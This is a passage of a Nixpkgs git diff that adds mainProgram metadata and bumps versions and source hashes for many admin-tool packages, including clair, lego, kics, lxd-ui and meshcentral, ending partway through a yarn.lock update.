maintainers.markus1189 ]; + mainProgram = "awsls"; }; } diff --git a/pkgs/tools/admin/awsrm/default.nix b/pkgs/tools/admin/awsrm/default.nix index be29737066be4..72fb4454870cc 100644 --- a/pkgs/tools/admin/awsrm/default.nix +++ b/pkgs/tools/admin/awsrm/default.nix @@ -24,5 +24,6 @@ buildGoModule rec { homepage = "https://github.com/jckuester/awsrm"; license = licenses.mit; maintainers = [ maintainers.markus1189 ]; + mainProgram = "awsrm"; }; } diff --git a/pkgs/tools/admin/awsweeper/default.nix b/pkgs/tools/admin/awsweeper/default.nix index 38a5a01b8b21e..9f0489c4dbb12 100644 --- a/pkgs/tools/admin/awsweeper/default.nix +++ b/pkgs/tools/admin/awsweeper/default.nix @@ -22,5 +22,6 @@ buildGoModule rec { homepage = "https://github.com/jckuester/awsweeper"; license = licenses.mpl20; maintainers = [ maintainers.marsam ]; + mainProgram = "awsweeper"; }; } diff --git a/pkgs/tools/admin/berglas/default.nix b/pkgs/tools/admin/berglas/default.nix index 150b5535f1ce9..e35fd2bfe0e0c 100644 --- a/pkgs/tools/admin/berglas/default.nix +++ b/pkgs/tools/admin/berglas/default.nix @@ -56,5 +56,6 @@ buildGoModule rec { description = "A tool for managing secrets on Google Cloud"; homepage = "https://github.com/GoogleCloudPlatform/berglas"; license = licenses.asl20; + mainProgram = "berglas"; }; } diff --git a/pkgs/tools/admin/bom/default.nix b/pkgs/tools/admin/bom/default.nix index 22714565795b9..0ff37c5d2e005 100644 --- a/pkgs/tools/admin/bom/default.nix +++ b/pkgs/tools/admin/bom/default.nix @@ -65,5 +65,6 @@ buildGoModule rec { description = "A utility to generate SPDX-compliant Bill of Materials manifests"; license = licenses.asl20; maintainers = with maintainers; [ developer-guy ]; + mainProgram = "bom"; }; } diff --git a/pkgs/tools/admin/certigo/default.nix b/pkgs/tools/admin/certigo/default.nix index 0fcf8bd8a6958..6274833b26d7a 100644 --- a/pkgs/tools/admin/certigo/default.nix +++ b/pkgs/tools/admin/certigo/default.nix @@ -18,5 +18,6 @@ buildGoModule rec { homepage = "https://github.com/square/certigo"; license = licenses.asl20; maintainers = [ maintainers.marsam ]; + mainProgram = "certigo"; }; } diff --git a/pkgs/tools/admin/cf-vault/default.nix b/pkgs/tools/admin/cf-vault/default.nix index a9e1e0316d60b..877e4d56d09c8 100644 --- a/pkgs/tools/admin/cf-vault/default.nix +++ b/pkgs/tools/admin/cf-vault/default.nix @@ -19,5 +19,6 @@ buildGoModule rec { homepage = "https://github.com/jacobbednarz/cf-vault/"; license = licenses.mit; maintainers = with maintainers; [ viraptor ]; + mainProgram = "cf-vault"; }; } diff --git a/pkgs/tools/admin/chamber/default.nix b/pkgs/tools/admin/chamber/default.nix index 3924b76432d3a..2b3975002a167 100644 --- a/pkgs/tools/admin/chamber/default.nix +++ b/pkgs/tools/admin/chamber/default.nix @@ -23,5 +23,6 @@ buildGoModule rec { homepage = "https://github.com/segmentio/chamber"; license = licenses.mit; maintainers = with maintainers; [ kalekseev ]; + mainProgram = "chamber"; }; } diff --git a/pkgs/tools/admin/cjdns-tools/default.nix b/pkgs/tools/admin/cjdns-tools/default.nix index 7b314e1aa1315..0d21409400176 100644 --- a/pkgs/tools/admin/cjdns-tools/default.nix +++ b/pkgs/tools/admin/cjdns-tools/default.nix @@ -42,5 +42,6 @@ stdenv.mkDerivation { license = licenses.gpl3Plus; maintainers = with maintainers; [ ]; platforms = platforms.linux; + mainProgram = "cjdns-tools"; }; } diff --git a/pkgs/tools/admin/clair/default.nix b/pkgs/tools/admin/clair/default.nix index 24e9640bc9ca6..ae49b0e4e9937 100644 --- a/pkgs/tools/admin/clair/default.nix +++ b/pkgs/tools/admin/clair/default.nix @@ -8,16 +8,16 @@ buildGoModule rec { pname = "clair"; - version = "4.7.2"; + version = "4.7.3"; src = fetchFromGitHub { owner = "quay"; repo = pname; rev = "v${version}"; - hash = "sha256-qnZLVt9pIrfZSCK0blNp5JHbaC4A8m6YicvL4hs2554="; + hash = "sha256-LRjlchhEXLTZDH3v2lkY3XN4tvXOHpedZBjkQ6rgeVc="; }; - vendorHash = "sha256-mzrMiycW+kWtooCMWGLOHXPYJQ+y3wLMB2V+f4u4wtY="; + vendorHash = "sha256-cAeEBJz4k2liivRsNF4FT4JPKsDVy2fLAYDg8NuJ81U="; nativeBuildInputs = [ makeWrapper diff --git a/pkgs/tools/admin/cli53/default.nix b/pkgs/tools/admin/cli53/default.nix index 2cab2ad4b748e..a6f677b287cfc 100644 --- a/pkgs/tools/admin/cli53/default.nix +++ b/pkgs/tools/admin/cli53/default.nix @@ -28,5 +28,6 @@ buildGoModule rec { homepage = "https://github.com/barnybug/cli53"; license = licenses.mit; maintainers = with maintainers; [ benley ]; + mainProgram = "cli53"; }; } diff --git a/pkgs/tools/admin/coldsnap/default.nix b/pkgs/tools/admin/coldsnap/default.nix index 417bbd14c139a..1178b6a7b81e2 100644 --- a/pkgs/tools/admin/coldsnap/default.nix +++ b/pkgs/tools/admin/coldsnap/default.nix @@ -28,5 +28,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/awslabs/coldsnap/blob/${src.rev}/CHANGELOG.md"; license = licenses.asl20; maintainers = teams.determinatesystems.members; + mainProgram = "coldsnap"; }; } diff --git a/pkgs/tools/admin/colmena/default.nix b/pkgs/tools/admin/colmena/default.nix index 6cb763c88d1eb..b41b8a1457c5e 100644 --- a/pkgs/tools/admin/colmena/default.nix +++ b/pkgs/tools/admin/colmena/default.nix @@ -43,5 +43,6 @@ rustPlatform.buildRustPackage rec { license = licenses.mit; maintainers = with maintainers; [ zhaofengli ]; platforms = platforms.linux ++ platforms.darwin; + mainProgram = "colmena"; }; } diff --git a/pkgs/tools/admin/copilot-cli/default.nix b/pkgs/tools/admin/copilot-cli/default.nix index ed75736224cd1..64fc1b20920ba 100644 --- a/pkgs/tools/admin/copilot-cli/default.nix +++ b/pkgs/tools/admin/copilot-cli/default.nix @@ -44,5 +44,6 @@ buildGoModule rec { changelog = "https://github.com/aws/copilot-cli/releases/tag/v${version}"; license = licenses.asl20; maintainers = with maintainers; [ jiegec ]; + mainProgram = "copilot"; }; } diff --git a/pkgs/tools/admin/credhub-cli/default.nix b/pkgs/tools/admin/credhub-cli/default.nix index f53258574808d..bd828b6ce4bcc 100644 --- a/pkgs/tools/admin/credhub-cli/default.nix +++ b/pkgs/tools/admin/credhub-cli/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "credhub-cli"; - version = "2.9.25"; + version = "2.9.27"; src = fetchFromGitHub { owner = "cloudfoundry-incubator"; repo = "credhub-cli"; rev = version; - sha256 = "sha256-QGsnNQvER5IaWY4Zh9sFa7eOeLnDdNDrLLpwgBALGm8="; + sha256 = "sha256-qd6AKiFfDmh7O0HloV05yMGwP4htrPR+O3wQFSsZEps="; }; # these tests require network access that we're not going to give them diff --git a/pkgs/tools/admin/cw/default.nix b/pkgs/tools/admin/cw/default.nix index d60db14bd3567..aa1d58e5156ba 100644 --- a/pkgs/tools/admin/cw/default.nix +++ b/pkgs/tools/admin/cw/default.nix @@ -18,5 +18,6 @@ buildGoModule rec { homepage = "https://github.com/lucagrulla/cw"; license = licenses.asl20; maintainers = with maintainers; [ onthestairs ]; + mainProgram = "cw"; }; } diff --git a/pkgs/tools/admin/damon/default.nix b/pkgs/tools/admin/damon/default.nix index 7ad922d6893d1..861b86985e04a 100644 --- a/pkgs/tools/admin/damon/default.nix +++ b/pkgs/tools/admin/damon/default.nix @@ -18,5 +18,6 @@ buildGoModule rec { license = licenses.mpl20; description = "A terminal UI (TUI) for HashiCorp Nomad"; maintainers = teams.iog.members; + mainProgram = "damon"; }; } diff --git a/pkgs/tools/admin/docker-credential-gcr/default.nix b/pkgs/tools/admin/docker-credential-gcr/default.nix index 30736215ff84a..3899b2f6dc92f 100644 --- a/pkgs/tools/admin/docker-credential-gcr/default.nix +++ b/pkgs/tools/admin/docker-credential-gcr/default.nix @@ -48,5 +48,6 @@ buildGoModule rec { homepage = "https://github.com/GoogleCloudPlatform/docker-credential-gcr"; license = licenses.asl20; maintainers = with maintainers; [ suvash ]; + mainProgram = "docker-credential-gcr"; }; } diff --git a/pkgs/tools/admin/drawterm/default.nix b/pkgs/tools/admin/drawterm/default.nix index e0c33457e1684..3e4c15faf14b6 100644 --- a/pkgs/tools/admin/drawterm/default.nix +++ b/pkgs/tools/admin/drawterm/default.nix @@ -19,13 +19,13 @@ stdenv.mkDerivation { pname = "drawterm"; - version = "unstable-2023-12-23"; + version = "unstable-2024-02-18"; src = fetchFrom9Front { owner = "plan9front"; repo = "drawterm"; - rev = "f9ae0c837bf8351037689f1985c1a52c1570ba30"; - hash = "sha256-wJWMdD9OmGybIwgBNJ8LxxV21L4SaV22OxAILsDWG3U="; + rev = "bcf1eb425dd4c90a3bfcd004f6aee3854259da78"; + hash = "sha256-aUQ6ay2ky9NzVUZvWyHc/GqPlCdhGpXTY8GGytJSC6g="; }; enableParallelBuilding = true; diff --git a/pkgs/tools/admin/ejson2env/default.nix b/pkgs/tools/admin/ejson2env/default.nix index 26a1b737d8b69..9675d37756815 100644 --- a/pkgs/tools/admin/ejson2env/default.nix +++ b/pkgs/tools/admin/ejson2env/default.nix @@ -26,5 +26,6 @@ buildGoModule rec { homepage = "https://github.com/Shopify/ejson2env"; maintainers = with maintainers; [ viraptor ]; license = licenses.mit; + mainProgram = "ejson2env"; }; } diff --git a/pkgs/tools/admin/elasticsearch-curator/default.nix b/pkgs/tools/admin/elasticsearch-curator/default.nix index f09aad4a93e3a..60bd15ce71a6b 100644 --- a/pkgs/tools/admin/elasticsearch-curator/default.nix +++ b/pkgs/tools/admin/elasticsearch-curator/default.nix @@ -5,14 +5,14 @@ python3.pkgs.buildPythonApplication rec { pname = "elasticsearch-curator"; - version = "8.0.8"; + version = "8.0.10"; format = "pyproject"; src = fetchFromGitHub { owner = "elastic"; repo = "curator"; rev = "refs/tags/v${version}"; - hash = "sha256-G8wKeEr7TuUWlqz9hJmnJW7yxn+4WPoStVC0AX5jdHI="; + hash = "sha256-hGG7lyrVviZSKTUo+AOPIutn/mxtDo+ewFxCRdj/jts="; }; postPatch = '' diff --git a/pkgs/tools/admin/exoscale-cli/default.nix b/pkgs/tools/admin/exoscale-cli/default.nix index 4dedd6799ea70..b76e362c66d56 100644 --- a/pkgs/tools/admin/exoscale-cli/default.nix +++ b/pkgs/tools/admin/exoscale-cli/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "exoscale-cli"; - version = "1.76.0"; + version = "1.76.1"; src = fetchFromGitHub { owner = "exoscale"; repo = "cli"; rev = "v${version}"; - sha256 = "sha256-mE1ELXMTQc5JU3d6JLuH4rm1+gfSQH4V29yJ9IkYOXU="; + sha256 = "sha256-HVMsN5qkC+eWb5usdSLgE/dgFtALCaadnKV5zeiKLJI="; }; vendorHash = null; diff --git a/pkgs/tools/admin/fastlane/default.nix b/pkgs/tools/admin/fastlane/default.nix index d8d4ffd4f1347..b1ad9fa401c87 100644 --- a/pkgs/tools/admin/fastlane/default.nix +++ b/pkgs/tools/admin/fastlane/default.nix @@ -24,5 +24,6 @@ bundlerApp { shahrukh330 marsam ]; + mainProgram = "fastlane"; }; } diff --git a/pkgs/tools/admin/fioctl/default.nix b/pkgs/tools/admin/fioctl/default.nix index e6207b4402529..e384f38f64991 100644 --- a/pkgs/tools/admin/fioctl/default.nix +++ b/pkgs/tools/admin/fioctl/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "fioctl"; - version = "0.40"; + version = "0.41"; src = fetchFromGitHub { owner = "foundriesio"; repo = "fioctl"; rev = "v${version}"; - sha256 = "sha256-G1CHm5z2D7l3NDmUMhubJsrXYUHb6FJ70EsYQShhsDE="; + sha256 = "sha256-N+bLW1Gf0lr5FKgd1lr84HVrhdjB+npaeS3nzYXoVl0="; }; - vendorHash = "sha256-j0tdFvOEp9VGx8OCfUruCzwVSB8thcenpvVNn7Rf0dA="; + vendorHash = "sha256-cu1TwCWdDQi2ZR96SvEeH/LIP7sZOVZoly3VczKZfRw="; ldflags = [ "-s" "-w" @@ -38,5 +38,6 @@ buildGoModule rec { homepage = "https://github.com/foundriesio/fioctl"; license = licenses.asl20; maintainers = with maintainers; [ nixinator matthewcroughan ]; + mainProgram = "fioctl"; }; } diff --git a/pkgs/tools/admin/fits-cloudctl/default.nix b/pkgs/tools/admin/fits-cloudctl/default.nix index c6aa0a2a7080b..0bdfbacab571c 100644 --- a/pkgs/tools/admin/fits-cloudctl/default.nix +++ b/pkgs/tools/admin/fits-cloudctl/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "fits-cloudctl"; - version = "0.12.13"; + version = "0.12.16"; src = fetchFromGitHub { owner = "fi-ts"; repo = "cloudctl"; rev = "v${version}"; - sha256 = "sha256-Vb7jBgk052WBnlUgS5lVooi/bY49rRqCWbOO4cPkPx4="; + hash = "sha256-5Uf4glKRbxlC7ZdBW51Ter9SBt5rwas+eD4KYWOqPss="; }; - vendorHash = "sha256-NR5Jw4zCYRg6xc9priCVNH+9wOVWx3bmstc3nkQDmv8="; + vendorHash = "sha256-GFMnBd5HmjFcMhayL1enQuNxXyVdLb6RLakHNxguXks="; meta = with lib; { description = "Command-line client for FI-TS Finance Cloud Native services"; diff --git a/pkgs/tools/admin/granted/default.nix b/pkgs/tools/admin/granted/default.nix index 79fc6358ed295..57eaec1acf382 100644 --- a/pkgs/tools/admin/granted/default.nix +++ b/pkgs/tools/admin/granted/default.nix @@ -12,16 +12,16 @@ buildGoModule rec { pname = "granted"; - version = "0.20.7"; + version = "0.21.0"; src = fetchFromGitHub { owner = "common-fate"; repo = pname; rev = "v${version}"; - sha256 = "sha256-AGpR587vz1t5z/J09n4/XvFPgbwb66wRTfSVOTCWeSU="; + sha256 = "sha256-hNbn1bBC9dNiThwi1+Mh45s/9DAwoI8XC4ZjB6Ls8sw="; }; - vendorHash = "sha256-yw/hl82RQPjZB0SsVr4OPDUsFH2TY6i4RpVE7wd4fwk="; + vendorHash = "sha256-I4sds5r61oGop+EtOpDgTYwLbSVBBSBmNbRU56sCYjo="; nativeBuildInputs = [ makeWrapper ]; diff --git a/pkgs/tools/admin/gtk-vnc/default.nix b/pkgs/tools/admin/gtk-vnc/default.nix index 0f649a6948f44..2dfbccc08c50f 100644 --- a/pkgs/tools/admin/gtk-vnc/default.nix +++ b/pkgs/tools/admin/gtk-vnc/default.nix @@ -74,5 +74,6 @@ stdenv.mkDerivation rec { license = licenses.lgpl2Plus; maintainers = with maintainers; [ raskin offline ]; platforms = platforms.unix; + mainProgram = "gvnccapture"; }; } diff --git a/pkgs/tools/admin/iamy/default.nix b/pkgs/tools/admin/iamy/default.nix index 583becb9b4efd..63dc5fe371b07 100644 --- a/pkgs/tools/admin/iamy/default.nix +++ b/pkgs/tools/admin/iamy/default.nix @@ -22,5 +22,6 @@ buildGoModule rec { homepage = "https://github.com/99designs/iamy"; license = licenses.mit; maintainers = with maintainers; [ suvash ]; + mainProgram = "iamy"; }; } diff --git a/pkgs/tools/admin/infra/default.nix b/pkgs/tools/admin/infra/default.nix index bfb44acc6ed5b..996bb80d98c96 100644 --- a/pkgs/tools/admin/infra/default.nix +++ b/pkgs/tools/admin/infra/default.nix @@ -23,5 +23,6 @@ buildGoModule rec { changelog = "https://github.com/infrahq/infra/raw/v${version}/CHANGELOG.md"; license = licenses.elastic20; maintainers = with maintainers; [ peterromfeldhk ]; + mainProgram = "infra"; }; } diff --git a/pkgs/tools/admin/iredis/default.nix b/pkgs/tools/admin/iredis/default.nix index 95f8a98ed4a49..2c57aa1669786 100644 --- a/pkgs/tools/admin/iredis/default.nix +++ b/pkgs/tools/admin/iredis/default.nix @@ -6,16 +6,21 @@ python3.pkgs.buildPythonApplication rec { pname = "iredis"; - version = "1.14.0"; + version = "1.14.1"; pyproject = true; src = fetchFromGitHub { owner = "laixintao"; repo = "iredis"; rev = "refs/tags/v${version}"; - hash = "sha256-5TMO1c29ahAQDbAJZb3u2oY0Z8M+6b8hwbNfqMsuPzM="; + hash = "sha256-ojS2wtxggZPp73n9SjPRAzBlnF1ScK/pNVGvAYKmQ5Y="; }; + postPatch = '' + substituteInPlace pyproject.toml \ + --replace-fail 'wcwidth = "0.1.9"' 'wcwidth = "*"' + ''; + nativeBuildInputs = with python3.pkgs; [ poetry-core ]; diff --git a/pkgs/tools/admin/itamae/default.nix b/pkgs/tools/admin/itamae/default.nix index 8a0f101b9c2d8..d84da4fd97412 100644 --- a/pkgs/tools/admin/itamae/default.nix +++ b/pkgs/tools/admin/itamae/default.nix @@ -13,5 +13,6 @@ bundlerApp { license = with licenses; mit; maintainers = with maintainers; [ refi64 ]; platforms = platforms.unix; + mainProgram = "itamae"; }; } diff --git a/pkgs/tools/admin/kics/default.nix b/pkgs/tools/admin/kics/default.nix index d7c4cb79e7416..f4c812308cecb 100644 --- a/pkgs/tools/admin/kics/default.nix +++ b/pkgs/tools/admin/kics/default.nix @@ -7,16 +7,16 @@ buildGoModule rec { pname = "kics"; - version = "1.7.12"; + version = "1.7.13"; src = fetchFromGitHub { owner = "Checkmarx"; repo = "kics"; rev = "v${version}"; - hash = "sha256-Yf4IvhXwhLD+Cae9bp6iCzlmnw9XQ7G2yOLqRTcK7ac="; + hash = "sha256-5+ZxQaLc5KBl+e//9FQAM+isMU8QchtHwRm4rMr7Hd0="; }; - vendorHash = "sha256-psyFivwS9d6+7S+1T7vonhofxHc0y2btXgc5HSu94Dg="; + vendorHash = "sha256-+XszRGnGw/YmrU8SazoNSZkA5s1aFWf3mIBZtK4UBy0="; subPackages = [ "cmd/console" ]; @@ -43,5 +43,6 @@ buildGoModule rec { homepage = "https://github.com/Checkmarx/kics"; license = licenses.asl20; maintainers = with maintainers; [ patryk4815 ]; + mainProgram = "kics"; }; } diff --git a/pkgs/tools/admin/lego/default.nix b/pkgs/tools/admin/lego/default.nix index 8d3954c31deeb..d07c05db1381a 100644 --- a/pkgs/tools/admin/lego/default.nix +++ b/pkgs/tools/admin/lego/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "lego"; - version = "4.14.2"; + version = "4.15.0"; src = fetchFromGitHub { owner = "go-acme"; repo = pname; rev = "v${version}"; - sha256 = "sha256-o0opYPJk8QURDSPuxEoITyhu3PNvuvcT9ZsnWPJmoAY="; + sha256 = "sha256-j5TboKYv4xycpCXnuFP/37ioiS89G7eeViEmGwB2BUY="; }; - vendorHash = "sha256-RW2ybMX55bds3uo90dGzBJPsmv9iIqllt5Ap2WF8PnQ="; + vendorHash = "sha256-uniml5D8887cQyxxZIDhYLni/+r6ZtZ9nJBKPtNeDtI="; doCheck = false; @@ -26,6 +26,7 @@ buildGoModule rec { license = licenses.mit; homepage = "https://go-acme.github.io/lego/"; maintainers = teams.acme.members; + mainProgram = "lego"; }; passthru.tests.lego = nixosTests.acme; diff --git a/pkgs/tools/admin/lxd/ui.nix b/pkgs/tools/admin/lxd/ui.nix index d2110d4c4d7cf..afcb062630a50 100644 --- a/pkgs/tools/admin/lxd/ui.nix +++ b/pkgs/tools/admin/lxd/ui.nix @@ -10,18 +10,18 @@ stdenv.mkDerivation rec { pname = "lxd-ui"; - version = "0.5"; + version = "0.6"; src = fetchFromGitHub { owner = "canonical"; repo = "lxd-ui"; rev = "refs/tags/${version}"; - hash = "sha256-52MRf7bk8Un9wqz00+JjDmuJgPKYhgAhIbMbcAuf8W8="; + hash = "sha256-3Ts6lKyzpMDVATCKD1fFIGTskWzWpQUT9S8cPFnlEOs="; }; offlineCache = fetchYarnDeps { yarnLock = "${src}/yarn.lock"; - hash = "sha256-WWnNjwzhN57PzTPmLWWzPoj66VFUnuzW1hTjKlVV8II="; + hash = "sha256-0pyxwMGGqogEe1w3sail8NUDHtxLQZU9Wg8E6rQNy4o="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/admin/lxd/wrapper.nix b/pkgs/tools/admin/lxd/wrapper.nix index b197cd496b1aa..9edfefd57ccd7 100644 --- a/pkgs/tools/admin/lxd/wrapper.nix +++ b/pkgs/tools/admin/lxd/wrapper.nix @@ -76,20 +76,11 @@ let ovmf-2mb = OVMF.override { secureBoot = true; - csmSupport = false; fdSize2MB = true; }; ovmf-4mb = OVMF.override { secureBoot = true; - csmSupport = false; - fdSize4MB = true; - }; - - ovmf-4mb-csm = OVMF.override { - secureBoot = true; - csmSupport = false; - fdSize2MB = false; fdSize4MB = true; }; @@ -99,13 +90,11 @@ let # also found in /snap/lxd/current/share/qemu/ on a snap install ovmf = linkFarm "lxd-ovmf" [ { name = "OVMF_CODE.2MB.fd"; path = "${ovmf-2mb.fd}/FV/${ovmf-prefix}_CODE.fd"; } - { name = "OVMF_CODE.4MB.CSM.fd"; path = "${ovmf-4mb-csm.fd}/FV/${ovmf-prefix}_CODE.fd"; } { name = "OVMF_CODE.4MB.fd"; path = "${ovmf-4mb.fd}/FV/${ovmf-prefix}_CODE.fd"; } { name = "OVMF_CODE.fd"; path = "${ovmf-2mb.fd}/FV/${ovmf-prefix}_CODE.fd"; } { name = "OVMF_VARS.2MB.fd"; path = "${ovmf-2mb.fd}/FV/${ovmf-prefix}_VARS.fd"; } { name = "OVMF_VARS.2MB.ms.fd"; path = "${ovmf-2mb.fd}/FV/${ovmf-prefix}_VARS.fd"; } - { name = "OVMF_VARS.4MB.CSM.fd"; path = "${ovmf-4mb-csm.fd}/FV/${ovmf-prefix}_VARS.fd"; } { name = "OVMF_VARS.4MB.fd"; path = "${ovmf-4mb.fd}/FV/${ovmf-prefix}_VARS.fd"; } { name = "OVMF_VARS.4MB.ms.fd"; path = "${ovmf-4mb.fd}/FV/${ovmf-prefix}_VARS.fd"; } { name = "OVMF_VARS.fd"; path = "${ovmf-2mb.fd}/FV/${ovmf-prefix}_VARS.fd"; } diff --git a/pkgs/tools/admin/meshcentral/default.nix b/pkgs/tools/admin/meshcentral/default.nix index 745eb1048079f..f2ddf300da613 100644 --- a/pkgs/tools/admin/meshcentral/default.nix +++ b/pkgs/tools/admin/meshcentral/default.nix @@ -7,11 +7,11 @@ }: yarn2nix-moretea.mkYarnPackage { - version = "1.1.20"; + version = "1.1.21"; src = fetchzip { - url = "https://registry.npmjs.org/meshcentral/-/meshcentral-1.1.20.tgz"; - sha256 = "1iykx1lrsd09z3jbykspjgibsbpcgrw5b60dmpzcc1i4fr0zpnz9"; + url = "https://registry.npmjs.org/meshcentral/-/meshcentral-1.1.21.tgz"; + sha256 = "0iwapln36dxa17hbl38vb3hmx6ijckf0psmf16mri4iq3x3749r9"; }; patches = [ ./fix-js-include-paths.patch ]; @@ -21,7 +21,7 @@ yarn2nix-moretea.mkYarnPackage { offlineCache = fetchYarnDeps { yarnLock = ./yarn.lock; - hash = "sha256-zLbD0UhCRQNTka1WUjDuZLseS1PMURQSPFEa0SvwS7E="; + hash = "sha256-uh1lU4AMU/uogwkmkGUkoIeIHGkm/qmIPL3xMKWyDmA="; }; # Tarball has CRLF line endings. This makes patching difficult, so let's convert them. @@ -47,5 +47,6 @@ yarn2nix-moretea.mkYarnPackage { homepage = "https://meshcentral.com/"; maintainers = with maintainers; [ ma27 ]; license = licenses.asl20; + mainProgram = "meshcentral"; }; } diff --git a/pkgs/tools/admin/meshcentral/package.json b/pkgs/tools/admin/meshcentral/package.json index c7e328c6289c5..829d9c5e5b526 100644 --- a/pkgs/tools/admin/meshcentral/package.json +++ b/pkgs/tools/admin/meshcentral/package.json @@ -1,6 +1,6 @@ { "name": "meshcentral", - "version": "1.1.20", + "version": "1.1.21", "keywords": [ "Remote Device Management", "Remote Device Monitoring", diff --git a/pkgs/tools/admin/meshcentral/yarn.lock b/pkgs/tools/admin/meshcentral/yarn.lock index b64e2e5b20f5d..5075e45c592db 100644 --- a/pkgs/tools/admin/meshcentral/yarn.lock +++ b/pkgs/tools/admin/meshcentral/yarn.lock @@ -65,28 +65,27 @@ "@aws-sdk/util-utf8-browser" "^3.0.0" tslib "^1.11.1" -"@aws-sdk/client-cognito-identity@3.501.0": - version "3.501.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/client-cognito-identity/-/client-cognito-identity-3.501.0.tgz#232543d91b1d236cfeac7c0168c56eddff1aafd3" - integrity sha512-ynWW9VVT7CTMQBh8l7WFt2SNekg3667gwjQmeGN8+DDMDqt2Z+L52717S0AN1pQDUMbh/DuKKPk+Sr30HBK3vA== +"@aws-sdk/client-cognito-identity@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/client-cognito-identity/-/client-cognito-identity-3.515.0.tgz#a6f31f0bbaf9ca371ef3debfb4e5aaad1a092d40" + integrity sha512-e51ImjjRLzXkPEYguvGCbhWPNhoV2OGS6mKHCR940XEeImt04yE1tytYP1vXYpPICmuYgz79BV0FOC9J5N9bvg== dependencies: "@aws-crypto/sha256-browser" "3.0.0" "@aws-crypto/sha256-js" "3.0.0" - "@aws-sdk/client-sts" "3.501.0" - "@aws-sdk/core" "3.496.0" - "@aws-sdk/credential-provider-node" "3.501.0" - "@aws-sdk/middleware-host-header" "3.496.0" - "@aws-sdk/middleware-logger" "3.496.0" - "@aws-sdk/middleware-recursion-detection" "3.496.0" - "@aws-sdk/middleware-signing" "3.496.0" - "@aws-sdk/middleware-user-agent" "3.496.0" - "@aws-sdk/region-config-resolver" "3.496.0" - "@aws-sdk/types" "3.496.0" - "@aws-sdk/util-endpoints" "3.496.0" - "@aws-sdk/util-user-agent-browser" "3.496.0" - "@aws-sdk/util-user-agent-node" "3.496.0" + "@aws-sdk/client-sts" "3.515.0" + "@aws-sdk/core" "3.513.0" + "@aws-sdk/credential-provider-node" "3.515.0" + "@aws-sdk/middleware-host-header" "3.515.0" + "@aws-sdk/middleware-logger" "3.515.0" + "@aws-sdk/middleware-recursion-detection" "3.515.0" + "@aws-sdk/middleware-user-agent" "3.515.0" + "@aws-sdk/region-config-resolver" "3.515.0" + "@aws-sdk/types" "3.515.0" + "@aws-sdk/util-endpoints" "3.515.0" + "@aws-sdk/util-user-agent-browser" "3.515.0" + "@aws-sdk/util-user-agent-node" "3.515.0" "@smithy/config-resolver" "^2.1.1" - "@smithy/core" "^1.3.1" + "@smithy/core" "^1.3.2" "@smithy/fetch-http-handler" "^2.4.1" "@smithy/hash-node" "^2.1.1" "@smithy/invalid-dependency" "^2.1.1" @@ -105,31 +104,33 @@ "@smithy/util-body-length-browser" "^2.1.1" "@smithy/util-body-length-node" "^2.2.1" "@smithy/util-defaults-mode-browser" "^2.1.1" - "@smithy/util-defaults-mode-node" "^2.1.1" + "@smithy/util-defaults-mode-node" "^2.2.0" "@smithy/util-endpoints" "^1.1.1" + "@smithy/util-middleware" "^2.1.1" "@smithy/util-retry" "^2.1.1" "@smithy/util-utf8" "^2.1.1" tslib "^2.5.0" -"@aws-sdk/client-sso@3.496.0": - version "3.496.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/client-sso/-/client-sso-3.496.0.tgz#765cbfb3afcbe7bc8f2430e40afd4d542a0d58fb" - integrity sha512-fuaMuxKg7CMUsP9l3kxYWCOxFsBjdA0xj5nlikaDm1661/gB4KkAiGqRY8LsQkpNXvXU8Nj+f7oCFADFyGYzyw== +"@aws-sdk/client-sso-oidc@3.515.0": + version "3.515.0" + resolved "https://registry.yarnpkg.com/@aws-sdk/client-sso-oidc/-/client-sso-oidc-3.515.0.tgz#7864bbcc1cca2441c726b1db5ef74be6142ec270" + integrity sha512-zACa8LNlPUdlNUBqQRf5a3MfouLNtcBfm84v2c8M976DwJrMGONPe1QjyLLsD38uESQiXiVQRruj/b000iMXNw== dependencies: "@aws-crypto/sha256-browser" "3.0.0" "@aws-crypto/sha256-js" "3.0.0" - "@aws-sdk/core" "3.496.0" - "@aws-sdk/middleware-host-header" "3.496.0" - "@aws-sdk/middleware-logger" "3.496.0" - "@aws-sdk/middleware-recursion-detection" "3.496.0" - "@aws-sdk/middleware-user-agent" "3.496.0" - "@aws-sdk/region-config-resolver" "3.496.0" - "@aws-sdk/types" "3.496.0" - "@aws-sdk/util-endpoints" "3.496.0" - "@aws-sdk/util-user-agent-browser" "3.496.0" - "@aws-sdk/util-user-agent-node" "3.496.0" + "@aws-sdk/client-sts" "3.515.0" + "@aws-sdk/core" "3.513.0" + "@aws-sdk/middleware-host-header" "3.515.0" + "@aws-sdk/middleware-logger" "3.515.0" + "@aws-sdk/middleware-recursion-detection" "3.515.0" + "@aws-sdk/middleware-user-agent" "3.515.0" + "@aws-sdk/region-config-resolver" "3.515.0" + "@aws-sdk/types" "3.515.0" + "@aws-sdk/util-endpoints" "3.515.0" + "@aws-sdk/util-user-agent-browser" "3.515.0" + "@aws-sdk/util-user-agent-node" "3.515.0" "@smithy/config-resolver" "^2.1.1" - "@smithy/core" "^1.3.1" + "@smithy/core" "^1.3.2" "@smithy/fetch-http-handler" "^2.4.1" "@smithy/hash-node" "^2.1.1" "@smithy/invalid-dependency" "^2.1.1" @@ -148,32 +149,32 @@ "@smithy/util-body-length-browser" "^2.1.1" "@smithy/util-body-length-node" "^2.2.1" "@smithy/util-defaults-mode-browser" "^2.1.1" - "@smithy/util-defaults-mode-node" "^2.1.1" + "@smithy/util-defaults-mode-node" "^2.2.0" "@smithy/util-endpoints" "^1.1.1" + "@smithy/util-middleware" "^2.1.1" "@smithy/util-retry" "^2.1.1" "@smithy/util-utf8" "^2.1.1" tslib "^2.5.0" -"@aws-sdk/client-sts@3.501.0": - version "3.501.0" - resolved "https://registry.yarnpkg.com/@aws-sdk/client-sts/-/client-sts-3.501.0.tgz#f3ab15d11517f28f1fdd3bd2b0c4dcf15a88b5aa" - integrity 